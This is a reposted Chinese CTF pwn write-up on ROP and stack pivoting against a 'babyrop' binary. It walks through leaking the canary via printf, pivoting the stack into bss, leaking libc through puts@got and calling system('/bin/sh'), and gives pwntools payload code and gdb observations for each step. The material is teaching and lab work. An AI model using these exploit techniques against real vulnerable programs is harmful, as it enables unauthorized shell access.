您当前的位置:首页 > 电脑百科 > 程序开发 > 算法

ROP和栈迁移的探究

时间:2021-12-15 13:58:17  来源:  作者:星云博创

ROP是一种技巧,我们对execve函数进行拼凑来进行system /bin/sh。栈迁移的特征是溢出0x10个字符,在本次getshell中,还碰到了如何利用printf函数来进行canary的泄露。

ROP+栈迁移

目标:

ROP和栈迁移的探究

 

ROP chain

ROP和栈迁移的探究

 

首先我们:

ROPgadget --binary babyrop

ROP和栈迁移的探究

 

bss段地址:

readelf -S babyrop

ROP和栈迁移的探究

 

找到rdi的地址:

ROP和栈迁移的探究

 

我们用ida查看反汇编,圈中的是出错情况下的处置,我们暂时可以忽略。

我们看到for循环可以输入25个字符,我们先输入0x18个字符,也就是24个字符,然后如果在输入一个字符就可以看到printf函数后面跟着一个%s,且printf函数结束的标志是碰到x00,并且canary的的末尾标志也是x00。

ROP和栈迁移的探究

 

小端存储,我们首先用24个字符a对其他字符空间进行填充,然后用字符'y'把canary中的x00进行覆盖,这样我们就在y这个点时进行recv,之后就可以泄露canary的内容。

具体是这样的:

canary=u64(io.recv(7).rjust(8,'x00'))

然后再用x00对其进行填充:

ROP和栈迁移的探究

 

此题的第二个坑点是在password这里,可以看到这里使用scanf函数来进行接受,所以我们只能填写地址。

ROP和栈迁移的探究

 

可以看到这个地址存储password:

ROP和栈迁移的探究

 

我们进入vuln函数进行查看:

ROP和栈迁移的探究

 

发现是可以多读0x10个字符的,这就是典型的栈迁移了:

gdb.attach(io)
io.send('a'*0x18+p64(canary)+p64(0x601928)+p64(0x40072e))
gdb.attach(io)
io.send('a'*0x18+p64(canary)+p64(0x601940)+p64(0x40072e))
gdb.attach(io)

我们在这里下三个断点:

第一个attach代表的是没有迁移之前的,

ROP和栈迁移的探究

 

可以看到RBP和RSP的情况,

ROP和栈迁移的探究

 

可以看到现在的RBP已经变为0x601928。

这里插入一下POP的汇编形式:

mov esp,ebp
add $8,esp

首先我们把ebp的值给esp,然后ebp+8,因为这里是64位程序。

这里我们再看下一个attach:

ROP和栈迁移的探究

 

可以看到新栈已经建立成功了。

然后就是经典的rop了,寻找libc基址:

io.send(p64(canary)+p64(0x601940)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x400717))
#p64(0x601940) is fill byte
libc_base=u64(io.recvuntil("x7f")[-6:].ljust(8,"x00"))-libc.sym['puts']
system=libc_base+libc.sym['system']
hh=libc_base+libc.search('/bin/sh').next()

最后我们开始写利用新栈:

system bin/sh
ROP和栈迁移的探究

 


ROP和栈迁移的探究

 

可以看到我们就拿到shell了。

一点解释

栈迁移需要注意的点就是:

ROP和栈迁移的探究

 

io.send('a'*0x18+p64(canary)+p64(0x601928)+p64(0x40072e))
io.send('a'*0x18+p64(canary)+p64(0x601940)+p64(0x40072e))

假如我们栈空间提升0x10:

ROP和栈迁移的探究

 

我们需要先把buf的内容填充,然后就到了rsp,pop 指令的意思是把rsp地址的内容给rip。

ROP和栈迁移的探究

 


ROP和栈迁移的探究

 

可以看到此时栈的情况是这样的:

ROP和栈迁移的探究

 

0x40072e是ret的地址:

ROP和栈迁移的探究

 

0x0000000000400744是返回地址:

ROP和栈迁移的探究

 

0xcd95d1462e82fe00是canary的值

0x601950是填充字

0x400913是rdi的值,也就是exec函数的的第一个参数。

现在的栈空间是这样的:

ROP和栈迁移的探究

 

然后就开始rop

如果我们直接提升0x20的空间就不会有这种事情了,我们就可以直接rdi+rop:

io.send('a'*0x18+p64(canary)+p64(0x601928)+p64(0x40072e))
io.send('a'*0x18+p64(canary)+p64(0x601950)+p64(0x40072e))
io.send(p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x400717))

但是这个rbp和rsp的空间是要试着找的,如果bss段有不能覆盖的地址,就会报错。

ROP和栈迁移的探究

 

io.send('a'*0x18+p64(canary)+p64(0x601928)+p64(0x40072e))
io.send('a'*0x18+p64(canary)+p64(0x601950)+p64(0x40072e))
io.send(p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x400717))
ROP和栈迁移的探究

 

这样也能够getshell。

另一点解释

ROP和栈迁移的探究

 

call read@plt之前栈中的情况:

ROP和栈迁移的探究

 

我们s步入,可以发现rbp和rsp的值已经改变了:

ROP和栈迁移的探究

 

0x601930:  0x0000000000400744  0x0000000000000000
0x601940:  0x0000000000000000  0x0000000000000000
0x601950:  0x0000000000000000  0x0000000000000000
0x0000000000400744是执行完read函数要去的地方,也就是nop(这个是无所谓的)
ROP和栈迁移的探究

 

可以看到在pop 和ret之前rbp和rsp栈空间又发生了改变,而且此时rip指向了rdi的地址:

ROP和栈迁移的探究

 

红色框是栈空间的大小,可以看到此时存放的两个地址的意义是:

p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x400717))组成了rop。

下一步我们执行pop+ret就跳到了rdi所指在的地方,然后利用rop进行system /bin/sh。



Tags:栈迁移   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,如有任何标注错误或版权侵犯请与我们联系(Email:2595517585@qq.com),我们将及时更正、删除,谢谢。
▌相关推荐
ROP是一种技巧,我们对execve函数进行拼凑来进行system /bin/sh。栈迁移的特征是溢出0x10个字符,在本次getshell中,还碰到了如何利用printf函数来进行canary的泄露。ROP+栈迁移...【详细内容】
2021-12-15  Tags: 栈迁移  点击:(19)  评论:(0)  加入收藏
▌简易百科推荐
前言Kafka 中有很多延时操作,比如对于耗时的网络请求(比如 Produce 是等待 ISR 副本复制成功)会被封装成 DelayOperation 进行延迟处理操作,防止阻塞 Kafka请求处理线程。Kafka...【详细内容】
2021-12-27  Java技术那些事    Tags:时间轮   点击:(1)  评论:(0)  加入收藏
博雯 发自 凹非寺量子位 报道 | 公众号 QbitAI在炼丹过程中,为了减少训练所需资源,MLer有时会将大型复杂的大模型“蒸馏”为较小的模型,同时还要保证与压缩前相当的结果。这就...【详细内容】
2021-12-24  量子位    Tags:蒸馏法   点击:(9)  评论:(0)  加入收藏
分稀疏重建和稠密重建两类:稀疏重建:使用RGB相机SLAMOrb-slam,Orb-slam2,orb-slam3:工程地址在: http://webdiis.unizar.es/~raulmur/orbslam/ DSO(Direct Sparse Odometry)因为...【详细内容】
2021-12-23  老师明明可以靠颜值    Tags:算法   点击:(7)  评论:(0)  加入收藏
1. 基本概念希尔排序又叫递减增量排序算法,它是在直接插入排序算法的基础上进行改进而来的,综合来说它的效率肯定是要高于直接插入排序算法的;希尔排序是一种不稳定的排序算法...【详细内容】
2021-12-22  青石野草    Tags:希尔排序   点击:(6)  评论:(0)  加入收藏
ROP是一种技巧,我们对execve函数进行拼凑来进行system /bin/sh。栈迁移的特征是溢出0x10个字符,在本次getshell中,还碰到了如何利用printf函数来进行canary的泄露。ROP+栈迁移...【详细内容】
2021-12-15  星云博创    Tags:栈迁移   点击:(19)  评论:(0)  加入收藏
一、什么是冒泡排序1.1、文字描述冒泡排序是一种简单的排序算法。它重复地走访要排序的数列,一次比较两个元素,如果他们的顺序错误就把他们交换过来。走访数列的工作是重复地...【详细内容】
2021-12-15    晓掌柜丶韶华  Tags:排序算法   点击:(16)  评论:(0)  加入收藏
在了解golang的map之前,我们需要了解哈希这个概念。哈希表,又称散列表(Hash table),是根据键(key)而直接访问在内存储存位置的数据结构。也就是说,它通过计算出一个键值的函数,将...【详细内容】
2021-12-07  一棵梧桐木    Tags:哈希表   点击:(13)  评论:(0)  加入收藏
前面文章在谈论分布式唯一ID生成的时候,有提到雪花算法,这一次,我们详细点讲解,只讲它。SnowFlake算法据国家大气研究中心的查尔斯·奈特称,一般的雪花大约由10^19个水分子...【详细内容】
2021-11-17  小心程序猿QAQ    Tags:雪花算法   点击:(24)  评论:(0)  加入收藏
导读:在大数据时代,对复杂数据结构中的各数据项进行有效的排序和查找的能力非常重要,因为很多现代算法都需要用到它。在为数据恰当选择排序和查找策略时,需要根据数据的规模和类型进行判断。尽管不同策略最终得到的结果完...【详细内容】
2021-11-04  华章科技    Tags:排序算法   点击:(37)  评论:(0)  加入收藏
这是我在网上找的资源的一个总结,会先给出一个我看了觉得还行的关于算法的讲解,再配上实现的代码: Original author: Bill_Hoo Original Address: http://blog.sina.com.cn/s/bl...【详细内容】
2021-11-04  有AI野心的电工和码农    Tags: KMP算法   点击:(36)  评论:(0)  加入收藏
相关文章
    无相关信息
最新更新
栏目热门
栏目头条